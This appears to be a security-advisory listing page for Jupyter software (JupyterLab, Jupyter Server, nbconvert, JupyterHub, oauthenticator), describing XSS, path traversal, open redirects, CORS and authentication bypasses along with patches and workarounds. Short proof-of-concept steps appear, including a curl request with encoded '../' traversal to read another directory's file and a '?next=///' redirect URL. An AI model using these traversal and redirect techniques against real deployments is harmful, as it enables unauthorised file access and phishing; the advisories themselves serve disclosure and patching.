jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. Prior to 4.5.7, JupyterLab's HTML sanitizer allowlists data-commandlinker-command and data-commandlinker-args on button elements, while CommandLinker listens for all click events on document.body and executes the named command without checking whether the element came from trusted JupyterLab UI. A notebook with a pre-saved HTML cell output containing a deceptive button can trigger arbitrary JupyterLab commands - including arbitrary code execution - on a single user click, without any code being submitted for execution by the user. This vulnerability is fixed in 4.5.7.

1 / 2
Source: MITRE
First published (updated )
Severity
7

In Jupyter Notebook versions 7.0.0 through 7.5.5, JupyterLab versions 4.5.6 and earlier, and the corresponding @jupyter-notebook/help-extension and @jupyterlab/help-extension packages before 7.5.6 and 4.5.7, a stored cross-site scripting issue in the help command linker can be chained with attacker-controlled notebook content to steal authentication tokens with a single click.

An attacker can craft a malicious notebook file containing elements that appear indistinguishable from legitimate controls and trigger execution when a user interacts with them. Successful exploitation allows theft of the user's authentication token and complete takeover of the Jupyter session through the REST API, including reading files, creating or modifying files, accessing kernels to execute arbitrary code, and creating terminals for shell access. This issue has been fixed in Notebook 7.5.6, JupyterLab 4.5.7, @jupyter-notebook/help-extension 7.5.6, and @jupyterlab/help-extension 4.5.7. As a workaround, disable the affected help extensions or set allowCommandLinker to false in the sanitizer configuration.

First published (updated )
Severity
8.8
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From 4.0.0 to 4.5.6, the allow-list of extensions that can be installed from PyPI Extension Manager (allowedextensionsuris) is not correctly enforced by JupyterLab. The PyPI Extension Manager was not contained to packages listed on the default PyPI index. This vulnerability is fixed in 4.5.7.

1 / 2
Source: MITRE
First published (updated )
Severity
7
Path Traversal

Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, a path traversal vulnerability in the REST API allows an authenticated user to escape the configured rootdir and access sibling directories whose names begin with the same prefix as the rootdir. For example, with a rootdir named "test", the API permits access to a sibling directory named "testtest" through a crafted request to the /api/contents endpoint using encoded path components. An attacker can read, write, and delete files in affected sibling directories. Multi-tenant deployments using predictable naming schemes are particularly at risk, as a user with a directory named "user1" could access directories for user10 through user19 and beyond. A user who can choose a single-character folder name could gain access to a significant number of sibling directories.

Version 2.18.0 contains a fix. As a workaround, ensure folder names do not share a common prefix with any sibling directory.

First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Summary

JupyterHub's XSRF protection (updated in 4.1.0) inappropriately treated requests with Sec-Fetch-Mode: no-cors as same-origin requests, which they are not, bypassing XSRF checks. The JSON API is not affected, only HTTP form endpoints, such as /hub/spawn and /hub/accept-share, meaning attackers could trigger server spawn (but not access the server) and if the attacker is a JupyterHub user permitted to share access to their server, cause a user to accept a share and have access to the attacker's server.

Patches

Upgrade to JupyterHub 5.4.5.

Mitigations

If a reverse proxy is in use, drop requests to JupyterHub with Sec-Fetch-Mode: no-cors.

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

A persistent cookie secret vulnerability allows authenticated users to maintain indefinite access even after password changes.

The cookie secret used to sign authentication cookies is stored in a permanent file (~/.local/share/jupyter/runtime/jupytercookiesecret) that is never automatically rotated or cleared, allowing stolen or compromised cookies to remain valid indefinitely regardless of password resets.

PoC

- Start a Jupyter server with password authentication: jupyter server password, jupyter server - Log in with the password and capture the authentication cookie (e.g., just login with a browser). - Change the password to revoke access: jupyter server password - Restart the server - Use the old stolen cookie => remains valid and provides full authenticated access.

Impact

- All jupyter-server deployments using password authentication where security incidents may occur - Multi-user systems where one user's compromised session should be revocable by administrators - Shared or public-facing Jupyter servers where credential rotation is a security requirement - Any deployment where password changes are expected to revoke existing sessions

Patches

Jupyter Server 2.18+

Workaround

bash rm ~/.local/share/jupyter/runtime/jupytercookiesecret Then restart the server

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, the Origin header validation uses Python's re.match() to check incoming origins against the alloworiginpat configuration value. Because re.match() only anchors at the start of the string and does not require a full match, a pattern intended to match only a trusted domain (e.g., trusted.example.com) will also match any origin that begins with that domain followed by additional characters (e.g., trusted.example.com.evil.com). An attacker who controls such a domain can bypass the CORS origin restriction and make cross-origin requests to the Jupyter Server API from an untrusted site. This issue has been fixed in version 2.18.0.

1 / 2
Source: MITRE
First published (updated )
Severity
7.6
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.

PoC

Minimal:

. ├── test/ <- root directory. │ └── test.txt └── testtest/ └── secret.txt <- file to exfiltrate that we should not be able to access via API

bash HOST="http://localhost:8888" TOKEN="" SIBLING="testtest" TARGET="secret.txt"

curl -s -X POST \ "$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \ -H "Authorization: token $TOKEN"

Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006

Impact

It is possible for an authenticated user to access content outside the server's rootdir in siblings directories sharing the same prefix as the rootdir. The attacker can escalate access, reading, writing, and deleting from sibling directories.

This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.

In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.

Workarounds

Use folder names that do not overlap.

Acknowledgments

Thank you to @stef41 for providing a useful PoC.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The ?next=... URL query parameter has an open redirection vulnerability. In jupyterserver<=2.17.0, this URL query parameter allows redirection to arbitrary external domains, which can be exploited to facilitate phishing attacks on server users.

Details

The vulnerability is caused by insufficient validation in the LoginFormHandler.redirectsafe() method.

- Source code reference: https://github.com/jupyter-server/jupyterserver/blob/987ebdd5e188cdc49751b01a0d6782d686492a53/jupyterserver/auth/login.py#L33-L76

This vulnerability was originally reported by Noriaki Iwasaki. All discovery credit goes to them.

PoC

1. Navigate to http://localhost:8888/login?next=///google.com 2. Observe that the user is redirected to google.com despite it being an external domain.

The external domain passed in the ?next parameter may be replaced with a malicious lookalike to facilitate phishing attacks. Jupyter Server deployments served on a public domain are especially vulnerable, as prod.company.com may be redirected to a look-alike URL such as prod.company.dev.

Impact

This vulnerability affects all users, especially enterprise users who work with sensitive/confidential data.

Patches

Jupyter Server 2.18+

Workaround

None.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Summary

When HTMLExporter.embedimages=True, nbconvert's markdown renderer allows arbitrary file read via path traversal in image references. A malicious notebook can exfiltrate sensitive files from the conversion host by embedding them as base64 data URIs in the output HTML.

Patches

Upgrade to nbconvert 7.17.1

Workarounds

Do not enable HTMLExporter.embedimages (it is not enabled by default).

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Arbitrary File Write via Path Traversal in Cell Attachment Filenames

Summary

nbconvert allows arbitrary file writes to locations outside the intended output directory when processing notebooks containing crafted cell attachment filenames. The ExtractAttachmentsPreprocessor passes attachment filenames directly to the filesystem without sanitization, enabling path traversal attacks. This vulnerability provides complete control over both the destination path and file extension.

Impact

This vulnerability allows writing files with arbitrary content to arbitrary filesystem locations, limited only by the permissions of the process running nbconvert. The attacker controls: - Full destination path (via ../ traversal) - Filename - File extension - File content

Patches

- upgrade to nbconvert v7.17.1

Workarounds

disable ExtractAttachmentsPreprocessor by setting:

python c. ExtractAttachmentsPreprocessor.enabled = False

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The LTI 1.1 validator stores OAuth nonces in a class-level dictionary that grows without bounds. Nonces are added before signature validation, so an attacker with knowledge of a valid consumer key can send repeated requests with unique nonces to gradually exhaust server memory, causing a denial of service.

Patches

- upgrade jupyterhub-litauthenticator to 1.6.3

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Affected Version

JupyterHub <= 5.4.3

Impact

An open redirect vulnerability in JupyterHub <=5.4.3 allows attackers to construct links which, when clicked, take users to the JupyterHub login page, after which they are sent to an arbitrary attacker-controlled site outside JupyterHub instead of a JupyterHub page, bypassing JupyterHub's check to prevent this.

Patches

Upgrade to JupyterHub 5.4.4

Workarounds

A deployment can apply filters on the Location header in a reverse proxy such as nginx/apache/traefik.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

An authentication bypass vulnerability in oauthenticator allows an attacker with an unverified email address on an Auth0 tenant to login to JupyterHub. When email is used as the usrnameclaim, this gives users control over their username and the possibility of account takeover.

Impact

This is an Authentication Bypass Vulnerability. Any Auth0 tenant leveraging the Auth0OAuthenticator mapping the email claim to the JupyterHub username is impacted. By default, Auth0 handles email verification as a user flag, not a hard block to authentication streams. If an attacker can register an account with the Auth0 tenant with an unverified email and knows the email of an existing user on the system, they can authenticate as that user.

Patches

- Upgrade oauthenticator to 17.4

Workarounds

- Check emailverified field in an Authenticator.postauthhook function - Do not use email as the username claim - Enforce email verification in auth0

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203